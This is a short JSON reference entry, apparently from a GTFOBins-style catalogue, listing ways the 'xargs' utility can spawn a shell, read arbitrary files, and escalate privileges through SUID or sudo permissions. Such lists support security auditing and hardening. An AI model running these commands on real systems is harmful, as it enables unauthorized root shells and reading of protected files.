You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

35 lines
877 B
JSON

{
"functions": {
"shell": [
{
"description": "GNU version only.",
"code": "xargs -a /dev/null sh"
},
{
"code": "echo x | xargs -Iy sh -c 'exec sh 0<&1'"
},
{
"description": "Read interactively from 'stdin'.",
"code": "xargs -Ix sh -c 'exec sh 0<&1'\nx^D^D\n"
}
],
"file-read": [
{
"description": "This works as long as the file does not contain the NUL character, also a trailing '$'\\n'' is added. The actual '/bin/echo' command is executed. GNU version only.",
"code": "xargs -a [file] -0\n"
}
],
"suid": [
{
"description": "GNU version only.",
"code": "./xargs -a /dev/null sh -p"
}
],
"sudo": [
{
"description": "GNU version only.",
"code": "sudo xargs -a /dev/null sh"
}
]
}
}